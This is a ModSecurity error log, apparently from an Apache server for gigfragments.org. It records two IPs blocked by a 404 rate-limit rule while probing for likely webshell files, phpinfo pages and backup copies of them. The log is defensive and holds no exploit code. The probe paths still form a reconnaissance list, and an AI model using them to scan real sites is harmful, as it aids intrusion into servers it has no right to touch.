[Sat May 09 01:34:08.398302 2026] [:error] [pid 61355:tid 61361] [client 130.131.249.131:9518] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "af4ekPkhJTi30CBXmMkxzwAAAYA"]
[Sat May 09 01:34:08.774640 2026] [:error] [pid 51009:tid 51077] [client 130.131.249.131:9589] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "af4ekOB0GbUWhxgzX9WTBgAAAIE"]
[Sat May 09 01:34:08.836553 2026] [:error] [pid 51008:tid 51056] [client 18.220.167.180:35186] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_profiler/phpinfo"] [unique_id "af4ekHB58C2Y1tgLtuLbnQAAAEc"]
[Sat May 09 01:34:09.160708 2026] [:error] [pid 61356:tid 61411] [client 130.131.249.131:9505] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4ekYx3vpB8oWhUq2Mo5wAAAdc"]
[Sat May 09 01:34:09.540035 2026] [:error] [pid 51009:tid 51076] [client 130.131.249.131:9578] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4ekeB0GbUWhxgzX9WTCQAAAIA"]
[Sat May 09 01:34:09.658416 2026] [:error] [pid 51009:tid 51083] [client 18.220.167.180:35192] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_environment"] [unique_id "af4ekeB0GbUWhxgzX9WTCgAAAIc"]
[Sat May 09 01:34:10.490434 2026] [:error] [pid 61355:tid 61367] [client 18.220.167.180:35196] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webroot/index.php/_environment"] [unique_id "af4ekvkhJTi30CBXmMkyCAAAAYY"]
[Sat May 09 01:34:10.925513 2026] [:error] [pid 61317:tid 61339] [client 130.131.249.131:9586] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4eks-fFk_CedOCOYsMrgAAAVM"]
[Sat May 09 01:34:11.311052 2026] [:error] [pid 61355:tid 61361] [client 130.131.249.131:9562] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4ek_khJTi30CBXmMkyEQAAAYA"]
[Sat May 09 01:34:11.326090 2026] [:error] [pid 61355:tid 61385] [client 18.220.167.180:35212] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail/phpinfo.php"] [unique_id "af4ek_khJTi30CBXmMkyEgAAAZg"]
[Sat May 09 01:34:11.701899 2026] [:error] [pid 61355:tid 61371] [client 130.131.249.131:9497] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "af4ek_khJTi30CBXmMkyFwAAAYo"]
[Sat May 09 01:34:12.080807 2026] [:error] [pid 61355:tid 61378] [client 130.131.249.131:9481] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "af4elPkhJTi30CBXmMkyIAAAAZE"]
[Sat May 09 01:34:12.173982 2026] [:error] [pid 61355:tid 61375] [client 18.220.167.180:35214] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpanel/phpinfo.php"] [unique_id "af4elPkhJTi30CBXmMkyIwAAAY4"]
[Sat May 09 01:34:12.454440 2026] [:error] [pid 51009:tid 51085] [client 130.131.249.131:9490] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "af4elOB0GbUWhxgzX9WTDQAAAIk"]
[Sat May 09 01:34:12.836679 2026] [:error] [pid 51009:tid 51088] [client 130.131.249.131:23493] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "af4elOB0GbUWhxgzX9WTDwAAAIw"]
[Sat May 09 01:34:12.995206 2026] [:error] [pid 51009:tid 51098] [client 18.220.167.180:35218] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hosting/phpinfo.php"] [unique_id "af4elOB0GbUWhxgzX9WTEAAAAJY"]
[Sat May 09 01:34:13.817853 2026] [:error] [pid 51009:tid 51084] [client 18.220.167.180:35220] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webmail/phpinfo.php"] [unique_id "af4eleB0GbUWhxgzX9WTEgAAAIg"]
[Sat May 09 01:34:14.215548 2026] [:error] [pid 51009:tid 51079] [client 130.131.249.131:9539] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "af4eluB0GbUWhxgzX9WTFgAAAIM"]
[Sat May 09 01:34:14.597064 2026] [:error] [pid 61356:tid 61403] [client 130.131.249.131:23495] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "af4elox3vpB8oWhUq2Mo7AAAAc8"]
[Sat May 09 01:34:14.653874 2026] [:error] [pid 51008:tid 51064] [client 18.220.167.180:35228] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/smtp/phpinfo.php"] [unique_id "af4elnB58C2Y1tgLtuLboAAAAE8"]
[Sat May 09 01:34:14.973103 2026] [:error] [pid 51007:tid 51044] [client 130.131.249.131:9535] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "af4ellMagSGstWKyzzUa4gAAABY"]
[Sat May 09 01:34:15.352899 2026] [:error] [pid 34318:tid 34325] [client 130.131.249.131:23544] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "af4el8r3guirgJiKhzAD-wAAAQU"]
[Sat May 09 01:34:15.488771 2026] [:error] [pid 51008:tid 51054] [client 18.220.167.180:35232] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php.bak"] [unique_id "af4el3B58C2Y1tgLtuLbowAAAEU"]
[Sat May 09 01:34:15.724999 2026] [:error] [pid 61317:tid 61336] [client 130.131.249.131:23529] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "af4el8-fFk_CedOCOYsMswAAAVA"]
[Sat May 09 01:34:16.132273 2026] [:error] [pid 61356:tid 61407] [client 130.131.249.131:9499] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "af4emIx3vpB8oWhUq2Mo8QAAAdM"]
[Sat May 09 01:34:16.332280 2026] [:error] [pid 51009:tid 51092] [client 18.220.167.180:35244] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php.old"] [unique_id "af4emOB0GbUWhxgzX9WTGAAAAJA"]
[Sat May 09 01:34:17.173776 2026] [:error] [pid 61355:tid 61361] [client 18.220.167.180:35258] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php~"] [unique_id "af4emfkhJTi30CBXmMkyagAAAYA"]
[Sat May 09 01:34:17.184623 2026] [:error] [pid 61355:tid 61384] [client 130.131.249.131:9596] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "af4emfkhJTi30CBXmMkybAAAAZc"]
[Sat May 09 01:34:17.581772 2026] [:error] [pid 61355:tid 61382] [client 130.131.249.131:23513] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fun.php"] [unique_id "af4emfkhJTi30CBXmMkycwAAAZU"]
[Sat May 09 01:34:17.957246 2026] [:error] [pid 61355:tid 61369] [client 130.131.249.131:23498] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "af4emfkhJTi30CBXmMkyfAAAAYg"]
[Sat May 09 01:34:18.003513 2026] [:error] [pid 61355:tid 61383] [client 18.220.167.180:35262] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php.bak"] [unique_id "af4emvkhJTi30CBXmMkyfgAAAZY"]
[Sat May 09 01:34:18.345852 2026] [:error] [pid 34318:tid 34328] [client 130.131.249.131:9475] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "af4emsr3guirgJiKhzAD_wAAAQg"]
[Sat May 09 01:34:18.834577 2026] [:error] [pid 61317:tid 61332] [client 18.220.167.180:46364] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpinfo.php.save"] [unique_id "af4ems-fFk_CedOCOYsMtgAAAUw"]
[Sat May 09 01:34:19.238900 2026] [:error] [pid 61356:tid 61394] [client 130.131.249.131:23538] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "af4em4x3vpB8oWhUq2Mo9wAAAcY"]
[Sat May 09 01:34:19.658248 2026] [:error] [pid 61317:tid 61322] [client 18.220.167.180:46370] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/staging/phpinfo.php"] [unique_id "af4em8-fFk_CedOCOYsMtwAAAUI"]
[Sat May 09 01:34:20.507756 2026] [:error] [pid 61317:tid 61334] [client 18.220.167.180:46384] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/beta/phpinfo.php"] [unique_id "af4enM-fFk_CedOCOYsMuQAAAU4"]
[Sat May 09 01:34:20.631465 2026] [:error] [pid 61355:tid 61382] [client 130.131.249.131:9501] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-kd4xalrg7m.php"] [unique_id "af4enPkhJTi30CBXmMkykwAAAZU"]
[Sat May 09 01:34:21.010919 2026] [:error] [pid 61355:tid 61361] [client 130.131.249.131:23508] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "af4enfkhJTi30CBXmMkylQAAAYA"]
[Sat May 09 01:34:21.360489 2026] [:error] [pid 61355:tid 61374] [client 18.220.167.180:46396] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uat/phpinfo.php"] [unique_id "af4enfkhJTi30CBXmMkymQAAAY0"]
[Sat May 09 01:34:21.408424 2026] [:error] [pid 61355:tid 61384] [client 130.131.249.131:9520] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "af4enfkhJTi30CBXmMkymgAAAZc"]
[Sat May 09 01:34:21.789315 2026] [:error] [pid 61317:tid 61339] [client 130.131.249.131:23507] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "af4enc-fFk_CedOCOYsMugAAAVM"]
[Sat May 09 01:34:22.184862 2026] [:error] [pid 61317:tid 61340] [client 18.220.167.180:46410] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qa/phpinfo.php"] [unique_id "af4ens-fFk_CedOCOYsMuwAAAVQ"]
[Sat May 09 01:34:22.260714 2026] [:error] [pid 61317:tid 61327] [client 130.131.249.131:23497] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/explorer/index_.php"] [unique_id "af4ens-fFk_CedOCOYsMvAAAAUc"]
[Sat May 09 01:34:22.983805 2026] [:error] [pid 51009:tid 51089] [client 130.131.249.131:9533] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "af4enuB0GbUWhxgzX9WTHwAAAI0"]
[Sat May 09 01:34:23.005156 2026] [:error] [pid 51009:tid 51076] [client 18.220.167.180:46418] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/preview/phpinfo.php"] [unique_id "af4en-B0GbUWhxgzX9WTIAAAAIA"]
[Sat May 09 01:34:23.374046 2026] [:error] [pid 34318:tid 34337] [client 130.131.249.131:23512] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "af4en8r3guirgJiKhzAEBwAAARE"]
[Sat May 09 01:34:23.841408 2026] [:error] [pid 61356:tid 61398] [client 130.131.249.131:9514] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "af4en4x3vpB8oWhUq2Mo_AAAAco"]
[Sat May 09 01:34:23.907285 2026] [:error] [pid 51007:tid 51037] [client 18.220.167.180:46432] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www/phpinfo.php"] [unique_id "af4en1MagSGstWKyzzUa6QAAAA8"]
[Sat May 09 01:34:24.747515 2026] [:error] [pid 51008:tid 51071] [client 18.220.167.180:46436] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htdocs/phpinfo.php"] [unique_id "af4eoHB58C2Y1tgLtuLbqQAAAFY"]
[Sat May 09 01:34:25.592114 2026] [:error] [pid 61356:tid 61402] [client 18.220.167.180:46450] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public_html/phpinfo.php"] [unique_id "af4eoYx3vpB8oWhUq2MpBQAAAc4"]
[Sat May 09 01:34:26.429852 2026] [:error] [pid 61356:tid 61399] [client 18.220.167.180:46454] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/site/phpinfo.php"] [unique_id "af4eoox3vpB8oWhUq2MpCQAAAcs"]
[Sat May 09 01:34:27.272678 2026] [:error] [pid 61356:tid 61397] [client 18.220.167.180:46466] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs/phpinfo.php"] [unique_id "af4eo4x3vpB8oWhUq2MpDAAAAck"]
[Sat May 09 01:34:28.090674 2026] [:error] [pid 61317:tid 61334] [client 18.220.167.180:46478] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4epM-fFk_CedOCOYsMywAAAU4"]
[Sat May 09 01:34:28.409974 2026] [:error] [pid 61356:tid 61412] [client 130.131.249.131:23496] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "af4epIx3vpB8oWhUq2MpFAAAAdg"]
[Sat May 09 01:34:28.781869 2026] [:error] [pid 51008:tid 51059] [client 130.131.249.131:9517] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "af4epHB58C2Y1tgLtuLbrgAAAEo"]
[Sat May 09 01:34:28.921134 2026] [:error] [pid 61317:tid 61340] [client 18.220.167.180:46518] [client 18.220.167.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/administrator/phpinfo.php"] [unique_id "af4epM-fFk_CedOCOYsMzQAAAVQ"]
[Sat May 09 01:34:29.165940 2026] [:error] [pid 34318:tid 34331] [client 130.131.249.131:9592] [client 130.131.249.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "af4epcr3guirgJiKhzAEDwAAAQs"]
